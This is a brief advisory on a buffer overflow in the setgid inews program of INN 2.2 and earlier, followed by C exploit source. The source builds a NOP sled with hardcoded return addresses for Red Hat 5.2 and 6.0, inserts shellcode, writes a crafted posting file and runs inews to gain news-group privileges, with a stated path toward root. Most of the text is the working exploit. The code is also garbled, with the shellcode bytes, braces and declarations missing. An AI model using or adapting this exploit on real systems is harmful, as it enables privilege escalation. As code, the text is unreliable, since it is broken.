INN versions 2.2 and earlier have a buffer overflow-related security condition in the inews program.
inews is a program used to inject new postings into the news system. It is used by many news reading programs and scripts. The default installation is with inews setgid to the news group and world executable. It's possible that exploiting the buffer overflow could give the attacker news group privileges, which could possibly be extended to root access.
/* inews exploit , gives you the inews egid .
* greetz to nitro,shivan,rfp & Minus :)
* RET addresses change between RH 5.2 ,6.0 etc..
* RH 5.2 RET = 0xbffff6f0
* RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 540
#define RET 0xbffff6f0
main (int argc, char *argv)
int offset = 0;
char *buff = NULL;
u_char execshell =
if (argc > 1)
offset = atoi (argv);
buff = malloc (1024);
printf ("malloc isnt working\n");
memset (buff, 0x90, BUFFER_SIZE);
for (i = 100; i < BUFFER_SIZE - 4; i += 4)
*(long *) &buff[i] = RET + offset;
memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));
if ((fp = fopen ("filez", "w")) != NULL)
fprintf (fp, "From: %s\nSubject: y0\nNewsgroups: yaya le chat\n\n\n\n\n",
execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
printf ("Couldnt open file : filez\n");